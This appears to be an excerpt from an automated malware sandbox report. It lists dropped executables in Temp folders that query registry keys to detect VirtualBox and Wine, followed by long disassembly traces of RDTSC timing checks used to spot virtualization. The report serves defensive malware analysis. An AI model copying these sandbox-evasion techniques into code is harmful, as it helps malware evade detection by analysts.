Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A843C4 second address: A83C4E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDAD10EAC3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e call 00007FDAD10EAC48h 0x00000013 mov ebx, dword ptr [ebp+122D2E4Eh] 0x00000019 pop eax 0x0000001a sub di, A468h 0x0000001f popad 0x00000020 push dword ptr [ebp+122D078Dh] 0x00000026 jo 00007FDAD10EAC37h 0x0000002c stc 0x0000002d sub dword ptr [ebp+122D24DDh], edi 0x00000033 call dword ptr [ebp+122D25D5h] 0x00000039 pushad 0x0000003a cld 0x0000003b ja 00007FDAD10EAC3Ch 0x00000041 mov dword ptr [ebp+122D228Ch], edi 0x00000047 xor eax, eax 0x00000049 mov dword ptr [ebp+122D26B3h], ebx 0x0000004f mov edx, dword ptr [esp+28h] 0x00000053 jmp 00007FDAD10EAC44h 0x00000058 mov dword ptr [ebp+122D2BDEh], eax 0x0000005e pushad 0x0000005f pushad 0x00000060 and eax, dword ptr [ebp+122D2EEAh] 0x00000066 add dx, 65BDh 0x0000006b popad 0x0000006c popad 0x0000006d mov esi, 0000003Ch 0x00000072 mov dword ptr [ebp+122D228Ch], ecx 0x00000078 add esi, dword ptr [esp+24h] 0x0000007c xor dword ptr [ebp+122D26B3h], eax 0x00000082 lodsw 0x00000084 add dword ptr [ebp+122D26B3h], ebx 0x0000008a add eax, dword ptr [esp+24h] 0x0000008e xor dword ptr [ebp+122D26B3h], ebx 0x00000094 stc 0x00000095 mov ebx, dword ptr [esp+24h] 0x00000099 cld 0x0000009a push eax 0x0000009b pushad 0x0000009c push eax 0x0000009d push edx 0x0000009e push eax 0x0000009f push edx 0x000000a0 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83C4E second address: A83C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83C52 second address: A83C64 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDAD10EAC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FDAD10EAC36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00174 second address: C00194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FDAD0CA5E33h 0x0000000a jnp 00007FDAD0CA5E2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00194 second address: C001C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 jne 00007FDAD10EAC36h 0x0000000d jmp 00007FDAD10EAC41h 0x00000012 pop esi 0x00000013 push ecx 0x00000014 jmp 00007FDAD10EAC42h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C001C8 second address: C001D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007FDAD0CA5E2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C001D5 second address: C001DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00327 second address: C00333 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00333 second address: C00337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00337 second address: C00343 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007FDAD0CA5E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00343 second address: C00355 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007FDAD10EAC36h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04407 second address: A83C4E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 22AA1AB8h 0x00000011 jo 00007FDAD0CA5E29h 0x00000017 mov si, di 0x0000001a mov dword ptr [ebp+122D249Ch], eax 0x00000020 push dword ptr [ebp+122D078Dh] 0x00000026 jmp 00007FDAD0CA5E31h 0x0000002b call dword ptr [ebp+122D25D5h] 0x00000031 pushad 0x00000032 cld 0x00000033 ja 00007FDAD0CA5E2Ch 0x00000039 xor eax, eax 0x0000003b mov dword ptr [ebp+122D26B3h], ebx 0x00000041 mov edx, dword ptr [esp+28h] 0x00000045 jmp 00007FDAD0CA5E34h 0x0000004a mov dword ptr [ebp+122D2BDEh], eax 0x00000050 pushad 0x00000051 pushad 0x00000052 and eax, dword ptr [ebp+122D2EEAh] 0x00000058 add dx, 65BDh 0x0000005d popad 0x0000005e popad 0x0000005f mov esi, 0000003Ch 0x00000064 mov dword ptr [ebp+122D228Ch], ecx 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e xor dword ptr [ebp+122D26B3h], eax 0x00000074 lodsw 0x00000076 add dword ptr [ebp+122D26B3h], ebx 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 xor dword ptr [ebp+122D26B3h], ebx 0x00000086 stc 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b cld 0x0000008c push eax 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 push eax 0x00000091 push edx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0447C second address: C04480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C045E2 second address: C0467E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDAD0CA5E2Ch 0x00000008 jng 00007FDAD0CA5E26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FDAD0CA5E36h 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FDAD0CA5E28h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov edi, 6C1C379Bh 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FDAD0CA5E28h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D2875h], edx 0x00000058 call 00007FDAD0CA5E29h 0x0000005d jnl 00007FDAD0CA5E2Eh 0x00000063 push eax 0x00000064 pushad 0x00000065 pushad 0x00000066 jl 00007FDAD0CA5E26h 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0467E second address: C046B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDAD10EAC40h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FDAD10EAC45h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C046B4 second address: C046D1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDAD0CA5E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FDAD0CA5E28h 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C046D1 second address: C046D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C046D5 second address: C046DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C046DB second address: C04775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a cmc 0x0000000b push 00000003h 0x0000000d mov dword ptr [ebp+122D1D10h], ecx 0x00000013 push 00000000h 0x00000015 movzx edx, cx 0x00000018 mov dword ptr [ebp+122D26A4h], esi 0x0000001e push 00000003h 0x00000020 jc 00007FDAD10EAC3Dh 0x00000026 jng 00007FDAD10EAC56h 0x0000002c jg 00007FDAD10EAC50h 0x00000032 call 00007FDAD10EAC39h 0x00000037 jl 00007FDAD10EAC43h 0x0000003d push edi 0x0000003e jmp 00007FDAD10EAC3Bh 0x00000043 pop edi 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FDAD10EAC49h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04775 second address: C04797 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDAD0CA5E2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jng 00007FDAD0CA5E32h 0x00000014 jl 00007FDAD0CA5E2Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04797 second address: C047A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [eax] 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jg 00007FDAD10EAC36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C047A8 second address: C047AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C047AD second address: C047C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDAD10EAC42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0493B second address: C0493F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0493F second address: C04989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FDAD10EAC40h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push ecx 0x00000010 jnc 00007FDAD10EAC3Ch 0x00000016 pop ecx 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c push edx 0x0000001d jbe 00007FDAD10EAC36h 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDAD10EAC43h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04989 second address: C049D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FDAD0CA5E2Ah 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 jo 00007FDAD0CA5E28h 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDAD0CA5E36h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2325F second address: C23280 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC42h 0x00000007 jnc 00007FDAD10EAC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C234F4 second address: C234FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C234FD second address: C23503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23503 second address: C2352A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDAD0CA5E2Ch 0x00000010 jmp 00007FDAD0CA5E30h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2352A second address: C2352E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2352E second address: C23544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FDAD0CA5E2Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23544 second address: C23549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23549 second address: C23562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDAD0CA5E34h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23562 second address: C23568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C236C8 second address: C236CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C236CE second address: C236D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C236D4 second address: C236D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C236D9 second address: C236DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C236DF second address: C236E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C236E3 second address: C236EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23849 second address: C23853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FDAD0CA5E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23AE9 second address: C23B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD10EAC49h 0x00000009 je 00007FDAD10EAC36h 0x0000000f jmp 00007FDAD10EAC49h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23FC8 second address: C23FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C23FD0 second address: C23FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24133 second address: C24137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C199A5 second address: C199B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C199B1 second address: C199CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD0CA5E38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA0BB second address: BFA0BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C242C4 second address: C242C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24844 second address: C2484A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2484A second address: C2484E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2484E second address: C24856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24856 second address: C2485B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2485B second address: C2486B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDAD10EAC36h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24F4F second address: C24F59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24F59 second address: C24F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24F5F second address: C24F63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26C19 second address: C26C30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD10EAC43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28405 second address: C2840B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE2C6C second address: BE2C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1B32 second address: BF1B68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDAD0CA5E2Dh 0x00000007 pushad 0x00000008 jmp 00007FDAD0CA5E33h 0x0000000d jo 00007FDAD0CA5E26h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007FDAD0CA5E45h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1B68 second address: BF1B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDAD10EAC49h 0x00000009 jmp 00007FDAD10EAC41h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1B96 second address: BF1BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDAD0CA5E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2F8F5 second address: C2F901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FA31 second address: C2FA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FA37 second address: C2FA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FDAD10EAC56h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDAD10EAC3Ch 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FA52 second address: C2FA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FCEB second address: C2FCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FCEF second address: C2FD2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FDAD0CA5E2Eh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jg 00007FDAD0CA5E26h 0x00000014 jnp 00007FDAD0CA5E3Ah 0x0000001a popad 0x0000001b push esi 0x0000001c pushad 0x0000001d push edi 0x0000001e pop edi 0x0000001f jnl 00007FDAD0CA5E26h 0x00000025 push edi 0x00000026 pop edi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2FEA5 second address: C2FEAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3108A second address: C31093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C31093 second address: C31097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3113C second address: C31146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDAD0CA5E26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C314E7 second address: C314EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C314EB second address: C314EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
